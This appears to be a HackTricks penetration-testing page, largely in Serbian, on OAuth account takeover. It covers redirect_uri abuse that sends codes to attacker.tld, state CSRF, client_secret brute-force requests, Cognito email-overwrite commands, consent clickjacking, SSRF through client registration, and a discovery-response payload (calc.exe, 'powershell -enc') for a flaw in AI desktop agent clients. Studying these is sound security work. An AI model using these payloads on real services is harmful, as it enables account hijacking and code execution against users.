OAuth za preuzimanje naloga

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Osnovne informacije

OAuth postoji u više verzija, a osnovne informacije su dostupne na OAuth 2.0 documentation. Ovaj tekst se uglavnom fokusira na široko korišćeni OAuth 2.0 authorization code grant type, koji pruža autorizacioni okvir koji omogućava aplikaciji da pristupi ili izvršava radnje na nalogu korisnika u drugoj aplikaciji (authorization server).

Zamislite hipotetički sajt https://example.com, napravljen da prikaže sve vaše objave na društvenim mrežama, uključujući i privatne. Da bi se to postiglo, koristi se OAuth 2.0. https://example.com će tražiti vašu dozvolu da pristupi vašim objavama na društvenim mrežama. Kao rezultat, biće prikazan ekran za saglasnost na https://socialmedia.com, gde će biti navedene dozvole koje se traže i developer koji podnosi zahtev. Nakon vaše autorizacije, https://example.com dobija mogućnost da pristupi vašim objavama u vaše ime.

Važno je razumeti sledeće komponente u okviru OAuth 2.0:

  • resource owner: Vi, kao korisnik/entitet, dajete autorizaciju za pristup vašem resursu, npr. objavama na nalogu društvenih mreža.
  • resource server: server koji obrađuje autentifikovane zahteve nakon što aplikacija obezbedi access token u ime resource owner, npr. https://socialmedia.com.
  • client application: aplikacija koja traži autorizaciju od resource owner, npr. https://example.com.
  • authorization server: server koji izdaje access tokens client application nakon uspešne autentifikacije resource owner i pribavljene autorizacije, npr. https://socialmedia.com.
  • client_id: Javni, jedinstveni identifikator aplikacije.
  • client_secret: Tajni ključ, poznat samo aplikaciji i authorization server-u, koji se koristi za generisanje access_tokens.
  • response_type: Vrednost koja specificira tip tokena koji se zahteva, npr. code.
  • scope: nivo pristupa koji client application traži od resource owner.
  • redirect_uri: URL na koji se korisnik preusmerava nakon autorizacije. Obično mora odgovarati prethodno registrovanom redirect URL-u.
  • state: Parametar za očuvanje podataka tokom preusmeravanja korisnika ka i sa authorization server-a. Njegova jedinstvenost je kritična jer služi kao mehanizam zaštite od CSRF-a.
  • grant_type: Parametar koji ukazuje na tip granta i tip tokena koji će biti vraćen.
  • code: Autorizacioni kod od authorization server-a, koji client application koristi zajedno sa client_id i client_secret da bi pribavio access_token.
  • access_token: token koji client application koristi za API zahteve u ime resource owner.
  • refresh_token: Omogućava aplikaciji da dobije novi access_token bez ponovnog traženja dozvole od korisnika.

Tok

Stvarni OAuth tok se odvija na sledeći način:

  1. Posetite https://example.com i kliknete na dugme “Integracija sa Social Media”.
  2. Saјt zatim šalje zahtev ka https://socialmedia.com tražeći vašu autorizaciju da aplikacija https://example.com pristupi vašim objavama. Zahtev je strukturiran kao:
https://socialmedia.com/auth
?response_type=code
&client_id=example_clientId
&redirect_uri=https%3A%2F%2Fexample.com%2Fcallback
&scope=readPosts
&state=randomString123
  1. Zatim vam se prikaže stranica za odobrenje.
  2. Nakon vašeg odobrenja, Social Media šalje odgovor na redirect_uri sa parametrima code i state:
https://example.com?code=uniqueCode123&state=randomString123
  1. https://example.com koristi ovaj code, zajedno sa svojim client_id i client_secret, да изврши server-side захтев за добијање access_token у ваше име, омогућавајући приступ дозволама којима сте приступили:
POST /oauth/access_token
Host: socialmedia.com
...{"client_id": "example_clientId", "client_secret": "example_clientSecret", "code": "uniqueCode123", "grant_type": "authorization_code"}
  1. Na kraju, proces se završava kada https://example.com koristi vaš access_token da izvrši API poziv ka Social Media da pristupi

Vulnerabilities

Open redirect_uri

Prema RFC 6749 §3.1.2, authorization server mora preusmeriti pregledač samo na pre-registered, exact redirect URIs. Bilo koja slabost ovde omogućava napadaču da pošalje žrtvu kroz zlonamerni authorization URL tako da IdP dostavi žrtvin code (i state) direktno na napadačev endpoint, koji ga zatim može iskoristiti i prikupiti tokene.

Tipičan tok napada:

  1. Sastavite https://idp.example/auth?...&redirect_uri=https://attacker.tld/callback i pošaljite ga žrtvi.
  2. Žrtva se autentifikuje i odobri scope-ove.
  3. IdP preusmerava na attacker.tld/callback?code=<victim-code>&state=... gde napadač zabeleži zahtev i odmah razmeni code.

Uobičajeni problemi u validaciji koje treba ispitati:

  • Nema validacije – prihvata se bilo koji apsolutni URL, što omogućava trenutnu krađu code-a.
  • Slabe substring/regex provere nad hostom – zaobiđite koristeći lookalike-ove kao evilmatch.com, match.com.evil.com, match.com.mx, matchAmatch.com, evil.com#match.com, ili match.com@evil.com.
  • IDN homograph mismatches – validacija se vrši na punycode formi (xn--), ali pregledač preusmerava na Unicode domen koji kontroliše napadač.
  • Arbitrary paths on an allowed host – usmeravanje redirect_uri na /openredirect?next=https://attacker.tld ili bilo koji XSS/user-content endpoint leaks the code bilo kroz chained redirects, Referer headers, ili injected JavaScript.
  • Directory constraints without normalization – obrasci kao /oauth/* mogu se zaobići sa /oauth/../anything.
  • Wildcard subdomains – prihvatanje *.example.com znači da bilo koji takeover (dangling DNS, S3 bucket, itd.) odmah daje validan callback.
  • Non-HTTPS callbacks – dozvoljavanje http:// URI-ja daje mrežnim napadačima (Wi‑Fi, corporate proxy) mogućnost da ukradu code u tranzitu.

Takođe pregledajte pomoćne redirect-style parametre (client_uri, policy_uri, tos_uri, initiate_login_uri, itd.) i OpenID discovery document (/.well-known/openid-configuration) za dodatne endpoint-e koji bi mogli naslediti iste bagove u validaciji.

Redirect token leakage on allowlisted domains with attacker-controlled subpaths

Zaključavanje redirect_uri na “owned/first-party domains” ne pomaže ako bilo koji allowlisted domen izlaže attacker-controlled paths or execution contexts (legacy app platforms, user namespaces, CMS uploads, itd.). Ako OAuth/federated login flow returns tokens in the URL (query ili hash), napadač može:

  1. Pokrenuti legitimni flow da izda pre-token (npr. etoken u višestepenom Accounts Center/FXAuth flow-u).
  2. Pošaljite žrtvi authorization URL koji postavlja allowlisted domen kao redirect_uri/base_uri ali usmerava next/putanju u namespace pod kontrolom napadača (npr. https://apps.facebook.com/<attacker_app>).
  3. Nakon što žrtva odobri, IdP preusmerava na putanju pod kontrolom napadača sa osetljivim vrednostima u URL-u (token, blob, codes, itd.).
  4. JavaScript na toj stranici čita window.location i exfiltrates vrednosti uprkos tome što je domen „trusted.”
  5. Ponovo iskoristite uhvaćene vrednosti prema downstream privilegovanim endpointima koji očekuju samo tokene prenete kroz redirect. Primeri iz FXAuth flow-a:
# Account linking without further prompts
https://accountscenter.facebook.com/add/?auth_flow=frl_linking&blob=<BLOB>&token=<TOKEN>

# Reauth-gated actions (e.g., profile updates) without user confirmation
https://accountscenter.facebook.com/profiles/<VICTIM_ID>/name/?auth_flow=reauth&blob=<BLOB>&token=<TOKEN>

XSS in redirect implementation

Kao što je pomenuto u ovom bug bounty izveštaju https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html može biti moguće da se redirect URL se reflektuje u odgovoru servera nakon što se korisnik autentifikuje, čineći ga ranjivim na XSS. Mogući payload za testiranje:

https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</script><h1>test</h1>

CSRF - Neispravno rukovanje state parametrom

Parametar state je Authorization Code flow CSRF token: klijent mora da generiše kriptografski nasumičnu vrednost po instanci browsera, sačuva je na mestu koje samo taj browser može da pročita (cookie, local storage, itd.), pošalje je u authorization requestu i odbije svaki odgovor koji ne vraća istu vrednost. Kad god je vrednost statična, predvidiva, opciona ili nije vezana za korisničku sesiju, napadač može završiti sopstveni OAuth tok, ugrabiti finalni ?code= request (bez slanja), i kasnije primorati browser žrtve da ponovo pošalje taj zahtev tako da nalog žrtve postane povezan sa napadačevim identity provider profilom.

Šablon ponovnog slanja je uvek isti:

  1. Napadač se autentifikuje kod IdP-a svojim nalogom i presreće poslednji redirect koji sadrži code (i eventualno state).
  2. Odbace taj zahtev, sačuvaju URL, i kasnije zloupotrebe bilo koji CSRF primitiv (link, iframe, auto-submitting form) da primoraju browser žrtve da ga učita.
  3. Ako klijent ne primenjuje state, aplikacija prihvata napadačev autorizacioni rezultat i prijavljuje napadača na nalog žrtve u aplikaciji.

Praktičan kontrolni spisak za rukovanje state tokom testiranja:

  • Potpuni izostanak state – ako parametar nikada ne pojavljuje, čitav login je podložan CSRF-u.
  • state nije obavezan – uklonite ga iz inicijalnog zahteva; ako IdP i dalje izdaje code-e koje klijent prihvata, odbrana je opt-in.
  • Vraćeni state nije validiran – menjajte vrednost u odgovoru (Burp, MITM proxy). Prihvatanje neusaglašenih vrednosti znači da se sačuvani token nikada ne upoređuje.
  • Predvidiv ili potpuno data-driven state – mnoge aplikacije ubacuju redirect putanje ili JSON blobove u state bez mešanja nasumičnosti, što napadačima omogućava da pogode validne vrednosti i ponovo izvrše tokove. Uvek prethodno ili naknadno dodajte jaku entropiju pre kodiranja podataka.
  • Fiksacija state – ako aplikacija dozvoljava korisnicima da navode vrednost state (npr. preko crafted authorization URL-ova) i ponovo je koristi tokom toka, napadač može zaključati poznatu vrednost i ponovo je koristiti za više žrtava.

PKCE može dopuniti state (posebno za public clients) vezujući authorization code za code verifier, ali web klijenti i dalje moraju pratiti state kako bi sprečili cross-user CSRF/account-linking bagove.

Pre preuzimanja naloga

  1. Bez verifikacije email-a pri kreiranju naloga: Napadači mogu preventivno kreirati nalog koristeći email žrtve. Ako žrtva kasnije koristi third-party servis za login, aplikacija može nenamerno povezati taj third-party nalog sa napadačevim prethodno kreiranim nalogom, što dovodi do neovlašćenog pristupa.
  2. Iskorišćavanje popustljive OAuth verifikacije email-a: Napadači mogu iskoristiti OAuth servise koji ne verifikuju emailove tako što se registruju kod servisa pa potom promene email naloga na email žrtve. Ova metoda slično ugrožava pristup nalogu, kao u prvom scenariju ali drugim vektorom napada.

Otkrivanje tajni

Parametar client_id je namerno javno dostupan, ali client_secret nikada ne sme biti dostupan krajnjim korisnicima. Authorization Code implementacije koje ugrađuju tajnu u mobile APKs, desktop clients, or single-page apps zapravo predaju tu akreditaciju svakome ko može da preuzme paket. Uvek pregledajte public clients na sledeći način:

  • Raspakujte APK/IPA, desktop installer ili Electron app i pretražite za client_secret, Base64 blobove koji dekodiraju u JSON, ili hard-coded OAuth endpoints.
  • Pregledajte priložene config fajlove (plist, JSON, XML) ili dekompajlirane stringove u potrazi za kredencijalima klijenta.

Kad napadač ekstrahuje tajnu, potrebno mu je samo da ukrade bilo koji authorization code žrtve (putem slabog redirect_uri, logova, itd.) da bi nezavisno pozvao /token i izdao access/refresh tokene bez uključivanja legitimne aplikacije. Tretirajte public/native klijente kao nesposobne da čuvaju tajne — umesto toga treba da se oslanjaju na PKCE (RFC 7636) da dokažu posedovanje per-instance code_verifier-a umesto statičke tajne. Tokom testiranja, potvrdite da li je PKCE obavezan i da li backend zaista odbacuje token exchange-e koji izostavljaju bilo client_secret ili validan code_verifier.

Bruteforce client_secret

Možete pokušati da izvršite bruteforce nad client_secret-om provajdera usluge sa identity provider-om kako biste pokušali da ukradete naloge.
Zahtev za BF može izgledati slično:

POST /token HTTP/1.1
content-type: application/x-www-form-urlencoded
host: 10.10.10.10:3000
content-length: 135
Connection: close

code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=authorization_code&client_id=public_client_id&client_secret=[bruteforce]

Referer/Header/Location artifacts leaking Code + State

Once the client has the code and state, if they surface in location.href or document.referrer and are forwarded to third parties, they leak. Two recurring patterns:

  • Classic Referer leak: after the OAuth redirect, any navigation that keeps ?code=&state= in the URL will push them into the Referer header sent to CDNs/analytics/ads.
  • Telemetry/analytics confused deputy: some SDKs (pixels/JS loggers) react to postMessage events and then send the current location.href/referrer to backend APIs using a token supplied in the message. If you can inject your own token into that flow (e.g., via an attacker-controlled postMessage relay), you can later read the SDK’s API request history/logs and recover the victim’s OAuth artifacts embedded in those requests.

Access Token Stored in Browser History

The core guarantee of the Authorization Code grant is that access tokens never reach the resource owner’s browser. When implementations leak tokens client-side, any minor bug (XSS, Referer leak, proxy logging) becomes instant account compromise. Always check for:

  • Tokens in URLs – if access_token appears in the query/fragment, it lands in browser history, server logs, analytics, and Referer headers sent to third parties.
  • Tokens transiting untrusted middleboxes – returning tokens over HTTP or through debugging/corporate proxies lets network observers capture them directly.
  • Tokens stored in JavaScript state – React/Vue stores, global variables, or serialized JSON blobs expose tokens to every script on the origin (including XSS payloads or malicious extensions).
  • Tokens persisted in Web Storage – localStorage/sessionStorage retain tokens long after logout on shared devices and are script-accessible.

Any of these findings usually upgrades otherwise “low” bugs (like a CSP bypass or DOM XSS) into full API takeover because the attacker can simply read and replay the leaked bearer token.

Everlasting Authorization Code

Authorization codes must be short-lived, single-use, and replay-aware. When assessing a flow, capture a code and:

  • Test the lifetime – RFC 6749 recommends minutes, not hours. Try redeeming the code after 5–10 minutes; if it still works, the exposure window for any leaked code is excessive.
  • Test sequential reuse – send the same code twice. If the second request yields another token, attackers can clone sessions indefinitely.
  • Test concurrent redemption/race conditions – fire two token requests in parallel (Burp intruder, turbo intruder). Weak issuers sometimes grant both.
  • Observe replay handling – a reuse attempt should not only fail but also revoke any tokens already minted from that code. Otherwise, a detected replay leaves the attacker’s first token active.

Combining a replay-friendly code with any redirect_uri or logging bug allows persistent account access even after the victim completes the legitimate login.

Authorization/Refresh Token not bound to client

If you can get the authorization code and redeem it for a different client/app, you can takeover other accounts. Test for weak binding by:

  • Capturing a code for app A and sending it to app B’s token endpoint; if you still receive a token, audience binding is broken.
  • Trying first-party token minting endpoints that should be restricted to their own client IDs; if they accept arbitrary state/app_id while only validating the code, you effectively perform an authorization-code swap to mint higher-privileged first-party tokens.
  • Checking whether client binding ignores nonce/redirect URI mismatches. If an error page still loads SDKs that log location.href, combine with Referer/telemetry leaks to steal codes and redeem them elsewhere.

Any endpoint that exchanges code → token must verify the issuing client, redirect URI, and nonce; otherwise, a stolen code from any app can be upgraded to a first-party access token.

Happy Paths, XSS, Iframes & Post Messages to leak code & state values

Check this post

AWS Cognito

In this bug bounty report: https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/ you can see that the token that AWS Cognito gives back to the user might have enough permissions to overwrite the user data. Therefore, if you can change the user email for a different user email, you might be able to take over others accounts.

# Read info of the user
aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...]

# Change email address
aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ[...] --user-attributes Name=email,Value=imaginary@flickr.com
{
"CodeDeliveryDetailsList": [
{
"Destination": "i***@f***.com",
"DeliveryMedium": "EMAIL",
"AttributeName": "email"
}
]
}

Za detaljnije informacije o tome kako zloupotrebiti AWS Cognito pogledajte AWS Cognito - Unauthenticated Enum Access.

Zloupotreba tokena drugih aplikacija

As mentioned in this writeup, OAuth tokovi koji očekuju da prime token (a ne a code) mogu biti ranjivi ako ne provere da li token pripada aplikaciji.

Ovo je zato što bi attacker mogao da kreira aplikaciju koja podržava OAuth i login with Facebook (na primer) u svojoj sopstvenoj aplikaciji. Zatim, kada victim uradi login sa Facebook-om u attackers application, attacker može dobiti OAuth token korisnika dodeljen njegovoj aplikaciji, i iskoristiti ga za login u victim OAuth application koristeći victims user token.

Caution

Stoga, ako attacker uspe da navede user-a da pristupi njegovoj OAuth aplikaciji, moći će da preuzme victims nalog u aplikacijama koje očekuju token i ne proveravaju da li je token dodeljen njihovom app ID.

Two links & cookie

Prema this writeup, bilo je moguće naterati victim-a da otvori stranicu sa returnUrl koji pokazuje na attackers host. Ova informacija bi bila stored in a cookie (RU) i u kasnijem koraku prompt će pitati user-a da li želi da da pristup tom attackers host-u.

Da bi se zaobišao taj prompt, bilo je moguće otvoriti tab koji pokreće Oauth flow i koji bi postavio ovaj RU cookie koristeći returnUrl, zatvoriti tab pre nego što se prompt prikaže, i otvoriti novi tab bez te vrednosti. Tada prompt neće informisati o attackers host-u, ali cookie bi bio postavljen na njega, pa će token biti poslat na attackers host kroz redirekciju.

Prompt Interaction Bypass

Kao što je objašnjeno u this video, neke OAuth implementacije dozvoljavaju navođenje GET parametra prompt kao None (&prompt=none) da spreče da se user-i pitaju za potvrdu datog pristupa u web promptu ako su već ulogovani na platformi.

response_mode

As explained in this video, moguće je navesti parametar response_mode da odredite gde želite da code bude isporučen u finalnom URL-u:

  • response_mode=query -> code je dat u GET parametru: ?code=2397rf3gu93f
  • response_mode=fragment -> code se pruža u URL fragmentu #code=2397rf3gu93f
  • response_mode=form_post -> code se dostavlja unutar POST forme sa inputom nazvanim code i vrednošću
  • response_mode=web_message -> code se šalje u post poruci: window.opener.postMessage({"code": "asdasdasd...

OAuth consent/login dialogs su idealni clickjacking targeti: ako se mogu framed, attacker može prekriti prilagođenu grafiku, sakriti prava dugmad i prevariti users da odobre opasne scopes ili linkaju naloge. Napravite PoC-e koji:

  1. Učitajte IdP authorization URL unutar <iframe sandbox="allow-forms allow-scripts allow-same-origin">.
  2. Koristite absolute positioning/opacity trikove da poravnate lažna dugmad sa skrivenim Allow/Approve kontrolama.
  3. Opcionalno popunite parametre (scopes, redirect URI) tako da ukradeno odobrenje odmah koristi attacker-u.

Tokom testiranja proverite da li IdP stranice emituju X-Frame-Options: DENY/SAMEORIGIN ili restriktivni Content-Security-Policy: frame-ancestors 'none'. Ako nijedno nije prisutno, demonstrirajte rizik pomoću alata kao što je NCC Group’s clickjacking PoC generator i zabeležite koliko lako victim autorizuje attacker-ovu app. Za dodatne ideje za payload pogledajte Clickjacking.

OAuth ROPC flow - 2 FA bypass

Prema this blog post, ovo je OAuth flow koji omogućava login u OAuth koristeći username i password. Ako tokom ovog jednostavnog toka bude vraćen token sa pristupom svim radnjama koje user može da izvrši, onda je moguće zaobići 2FA koristeći taj token.

ATO on web page redirecting based on open redirect to referrer

Ovaj blogpost opisuje kako je bilo moguće zloupotrebiti open redirect koristeći vrednost iz referrer da bi se zloupotrebio OAuth za ATO. Napad je bio:

  1. Victim access the attackers web page
  2. Victim otvori maliciozni link i opener pokreće Google OAuth flow sa response_type=id_token,code&prompt=none kao dodatnim parametrima koristeći kao referrer the attackers website.
  3. U opener-u, nakon što provider autorizuje victim-a, šalje ga nazad na vrednost redirect_uri parametra (victim web) sa 30X kodom koji još uvek zadržava attackers website u referer.
  4. Victim website trigger the open redirect based on the referrer preusmerava victim user-a na attackers website; pošto je respose_type bio id_token,code, code će biti poslat nazad attacker-u u fragment URL-a, omogućavajući mu da preuzme nalog user-a preko Google-a na victim sajtu.

SSRFs parameters

Check this research Za dalje detalje ove tehnike.

Dynamic Client Registration u OAuth predstavlja manje očigledan ali kritičan vektor za bezbednosne ranjivosti, posebno za Server-Side Request Forgery (SSRF) napade. Ovaj endpoint omogućava OAuth serverima da prime detalje o client aplikacijama, uključujući osetljive URL-ove koji se mogu iskoristiti.

Key Points:

  • Dynamic Client Registration je često mapiran na /register i prihvata detalje kao što su client_name, client_secret, redirect_uris, i URL-ove za logo-e ili JSON Web Key Sets (JWKs) putem POST zahteva.
  • Ova funkcija sledi specifikacije iz RFC7591 i OpenID Connect Registration 1.0, koje uključuju parametre potencijalno ranjive na SSRF.
  • Proces registracije može nenamerno izložiti servere SSRF-u na nekoliko načina:
  • logo_uri: URL za logo client aplikacije koji server može da preuzme, što može izazvati SSRF ili dovesti do XSS ako se URL neobradi ispravno.
  • jwks_uri: URL ka JWK dokumentu klijenta, koji ako je maliciozno formiran može naterati server da izvrši outbound zahteve ka serveru pod kontrolom napadača.
  • sector_identifier_uri: Referiše na JSON niz redirect_uris, koji server može da preuzme, stvarajući mogućnost za SSRF.
  • request_uris: Navodi dozvoljene request URI-e za klijenta, koje se mogu zloupotrebiti ako server preuzme te URI-e na početku autorizacionog procesa.

Exploitation Strategy:

  • SSRF se može pokrenuti registracijom novog klijenta sa malicioznim URL-ovima u parametrima poput logo_uri, jwks_uri ili sector_identifier_uri.
  • Iako direktna zloupotreba preko request_uris može biti ublažena whitelist kontrolama, dostavljanje prethodno registrovanog, serverom pod kontrolom napadača request_uri može olakšati SSRF tokom autorizacione faze.

OAuth/OIDC Discovery URL Abuse & OS Command Execution

Istraživanje o CVE-2025-6514 (koje utiče na mcp-remote klijente kao što su Claude Desktop, Cursor ili Windsurf) pokazuje kako dynamic OAuth discovery postaje RCE primitive kad god klijent prosledi IdP metadata direktno operativnom sistemu. Remote MCP server vraća attacker-controlled authorization_endpoint tokom discovery razmene (/.well-known/openid-configuration ili bilo koji metadata RPC). mcp-remote ≤0.1.15 bi zatim pozvao sistemski URL handler (start, open, xdg-open, itd.) sa bilo kojom primljenom stringom, tako da bilo koji scheme/path podržan od strane OS-a bude izvršen lokalno.

Attack workflow

  1. Usmerite desktop agent na neprijateljski MCP/OAuth server (npx mcp-remote https://evil). Agent prima 401 plus metadata.
  2. The server answers with JSON such as:
HTTP/1.1 200 OK
Content-Type: application/json

{
"authorization_endpoint": "file:/c:/windows/system32/calc.exe",
"token_endpoint": "https://evil/idp/token",
...
}
  1. Klijent pokreće OS handler za dostavljeni URI. Windows prihvata payloads poput file:/c:/windows/system32/calc.exe /c"powershell -enc ..."; macOS/Linux prihvataju file:///Applications/Calculator.app/... ili čak custom schemes kao što su cmd://bash -lc '<payload>' ako su registrovani.
  2. Pošto se ovo dešava pre bilo kakve korisničke interakcije, samo konfigurisanje klijenta da komunicira sa serverom napadača dovodi do izvršenja koda.

Kako testirati

  • Target any OAuth-capable desktop/agent that performs discovery over HTTP(S) and opens returned endpoints locally (Electron apps, CLI helpers, thick clients).
  • Intercept or host the discovery response and replace authorization_endpoint, device_authorization_endpoint, or similar fields with file://, cmd://, UNC paths, or other dangerous schemes.
  • Observe whether the client validates the scheme/host. Lack of validation results in immediate execution under the user context and proves the issue.
  • Repeat with different schemes to map the full attack surface (e.g., ms-excel:, data:text/html,, custom protocol handlers) and demonstrate cross-platform reach.

OAuth providers Race Conditions

If the platform you are testing is an OAuth provider pročitajte ovo da testirate moguće Race Conditions.

Mutable Claims Attack

In OAuth, the sub field uniquely identifies a user, but its format varies by Authorization Server. To standardize user identification, some clients use emails or user handles. However, this is risky because:

  • Some Authorization Servers do not ensure that these properties (like email) remain immutable.
  • In certain implementations—such as “Login with Microsoft”—the client relies on the email field, which is user-controlled by the user in Entra ID and not verified.
  • An attacker can exploit this by creating their own Azure AD organization (e.g., doyensectestorg) and using it to perform a Microsoft login.
  • Even though the Object ID (stored in sub) is immutable and secure, the reliance on a mutable email field can enable an account takeover (for example, hijacking an account like victim@gmail.com).

Client Confusion Attack

In a Client Confusion Attack, an application using the OAuth Implicit Flow fails to verify that the final access token is specifically generated for its own Client ID. An attacker sets up a public website that uses Google’s OAuth Implicit Flow, tricking thousands of users into logging in and thereby harvesting access tokens intended for the attacker’s site. If these users also have accounts on another vulnerable website that does not validate the token’s Client ID, the attacker can reuse the harvested tokens to impersonate the victims and take over their accounts.

Scope Upgrade Attack

The Authorization Code Grant type involves secure server-to-server communication for transmitting user data. However, if the Authorization Server implicitly trusts a scope parameter in the Access Token Request (a parameter not defined in the RFC), a malicious application could upgrade the privileges of an authorization code by requesting a higher scope. After the Access Token is generated, the Resource Server must verify it: for JWT tokens, this involves checking the JWT signature and extracting data such as client_id and scope, while for random string tokens, the server must query the Authorization Server to retrieve the token’s details.

Redirect Scheme Hijacking

In mobile OAuth implementations, apps use custom URI schemes to receive redirects with Authorization Codes. However, because multiple apps can register the same scheme on a device, the assumption that only the legitimate client controls the redirect URI is violated. On Android, for instance, an Intent URI like com.example.app:// oauth is caught based on the scheme and optional filters defined in an app’s intent-filter. Since Android’s intent resolution can be broad—especially if only the scheme is specified—an attacker can register a malicious app with a carefully crafted intent filter to hijack the authorization code. This can enable an account takeover either through user interaction (when multiple apps are eligible to handle the intent) or via bypass techniques that exploit overly specific filters, as detailed by Ostorlab’s assessment flowchart.

References

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks